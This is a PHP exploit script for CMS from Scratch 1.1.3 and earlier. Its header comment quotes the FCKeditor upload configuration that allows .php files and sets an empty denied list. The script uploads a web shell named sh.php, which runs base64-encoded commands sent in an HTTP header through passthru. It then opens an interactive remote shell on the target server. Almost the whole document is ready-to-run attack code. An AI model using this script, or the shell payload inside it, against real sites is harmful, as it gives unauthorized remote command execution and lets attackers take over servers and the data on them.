<?php

/*
  -----------------------------------------------------------------
  CMS from Scratch <= 1.1.3 (fckeditor) Remote Shell Upload Exploit
  -----------------------------------------------------------------
  
  author...: EgiX
  mail.....: n0b0d13s[at]gmail[dot]com
  
  link.[1].: http://cmsfromscratch.com/
  link.[2].: http://cmsfromscratch.googlecode.com/files/cmsfs114b.tgz (tested package)

  [-] vulnerable code in /cms/FCKeditor/editor/filemanager/connectors/php/config.php
  
  27.  // SECURITY: You must explicitelly enable this "connector". (Set it to "true").
  28.  // WARNING: don't just set "ConfigIsEnabled = true", you must be sure that only 
  29.  //    authenticated users can access this file or use some kind of session checking.
  30.  $Config['Enabled'] = true ; <======
  31.  
  32.  $path = $_SERVER["REQUEST_URI"] ;
  33.  $relativePathFromWebServerRoot =  substr($path, 0, strpos($path, "/", 1) );
  34.  // Coming out as /CMS, why???
  35.  
  36.  
  37.  
  38.  // Path to user files relative to the document root.
  39.  // This is what is inserted into the HTML markup
  40.  $Config['UserFilesPath'] = urldecode(rtrim(str_replace('cms/FCKeditor/editor/filemanager/connectors/php', '', dirname($_SERVER['SCRIPT_NAME'])), '/')) ;
  41.  if ($Config['UserFilesPath'] == '') $Config['UserFilesPath'] = '/' ;
  42.  
  43.  // Fill the following value it you prefer to specify the absolute path for the user files directory. Useful if you are using a virtual directory, symbolic link or alias. Examples: 'C:\\MySite\\userfiles\\' or '/root/mysite/userfiles/'.
  44.  // Attention: The above 'UserFilesPath' must point to the same directory.
  45.  // BH note: This is used for browsing the server.. should equate to the real path of the folder where /cms/ is installed
  46.  $Config['UserFilesAbsolutePath'] = realpath('../../../../../../') ;
  47.  
  48.  // Due to security issues with Apache modules, it is reccomended to leave the following setting enabled.
  49.  $Config['ForceSingleExtension'] = true ;
  50.  // Perform additional checks for image files
  51.  // if set to true, validate image size (using getimagesize)
  52.  $Config['SecureImageUploads'] = true;
  53.  // What the user can do with this connector
  54.  $Config['ConfigAllowedCommands'] = array('QuickUpload', 'FileUpload', 'GetFolders', 'GetFoldersAndFiles', 'CreateFolder') ;
  55.  // Allowed Resource Types
  56.  $Config['ConfigAllowedTypes'] = array('File', 'Image', 'Flash', 'Media') ;
  57.  // For security, HTML is allowed in the first Kb of data for files having the following extensions only.
  58.  $Config['HtmlExtensions'] = array("html", "htm", "xml", "xsd", "txt", "js") ;
  59.  
  60.  $Config['AllowedExtensions']['File']  = array('7z', 'aiff', 'asf', 'avi', 'bmp', 'csv', 'doc', 'fla', 'flv', 'gif', 'gz', 'gzip', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'ods', 'odt', 'pdf', 'php', 'png', 'ppt', 'pxd', 'qt', 'ram', 'rar', 'rm', 'rmi', 'rmvb', 'rtf', 'sdc', 'sitd', 'swf', 'sxc', 'sxw', 'tar', 'tgz', 'tif', 'tiff', 'txt', 'vsd', 'wav', 'wma', 'wmv', 'xls', 'xml', 'zip') ;
  61.  $Config['DeniedExtensions']['File']    = array() ; <========
  62.  $Config['FileTypesPath']['File']    = $Config['UserFilesPath'] ;
  63.  $Config['FileTypesAbsolutePath']['File']= $Config['UserFilesAbsolutePath'] ;
  64.  $Config['QuickUploadPath']['File']    = $Config['UserFilesPath'] ;
  65.  $Config['QuickUploadAbsolutePath']['File']= $Config['UserFilesAbsolutePath'] ;

  with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code due to
  $Config['AllowedExtensions']['File'] array, used in IsAllowedExt() function to check the file's extension, contains also .php extension
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
  $sock = fsockopen($host, 80);
  while (!$sock)
  {
    print "\n[-] No response from {$host}:80 Trying again...";
    $sock = fsockopen($host, 80);
  }
  fputs($sock, $packet);
  while (!feof($sock)) $resp .= fread($sock, 1024);
  fclose($sock);
  return $resp;
}

print "\n+---------------------------------------------------------------+";
print "\n| CMS from Scratch <= 1.1.3 Remote Shell Upload Exploit by EgiX |";
print "\n+---------------------------------------------------------------+\n";

if ($argc < 3)
{
  print "\nUsage......: php $argv[0] host path";
  print "\nExample....: php $argv[0] localhost /";
  print "\nExample....: php $argv[0] localhost /cms114/\n";
  die();
}

$host = $argv[1];
$path = $argv[2];

$data  = "--12345\r\n";
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"sh.php\"\r\n";
$data .= "Content-Type: unknown/unknown\r\n\r\n";
$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\n";
$data .= "--12345--\r\n";

$packet  = "POST {$path}/cms/FCKeditor/editor/filemanager/connectors/php/upload.php?Type=File HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $data;

preg_match("/OnUploadCompleted\((.*),\"(.*)\",\"(.*)\",/i", http_send($host, $packet), $html);

if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]})\n");
else print "\n[-] Shell uploaded to {$html[2]}...starting it!\n";

define(STDIN, fopen("php://stdin", "r"));

while(1)
{
  print "\ncmsfs-shell# ";
  $cmd = trim(fgets(STDIN));
  if ($cmd != "exit")
  {
    $packet = "GET {$path}{$html[3]} HTTP/1.0\r\n";
    $packet.= "Host: {$host}\r\n";
    $packet.= "Cmd: ".base64_encode($cmd)."\r\n";
    $packet.= "Connection: close\r\n\r\n";
    $output = http_send($host, $packet);
    if (!eregi("_code_", $output)) die("\n[-] Exploit failed...\n");
    $shell = explode("_code_", $output);
    print "\n{$shell[1]}";
  }
  else break;
}

?>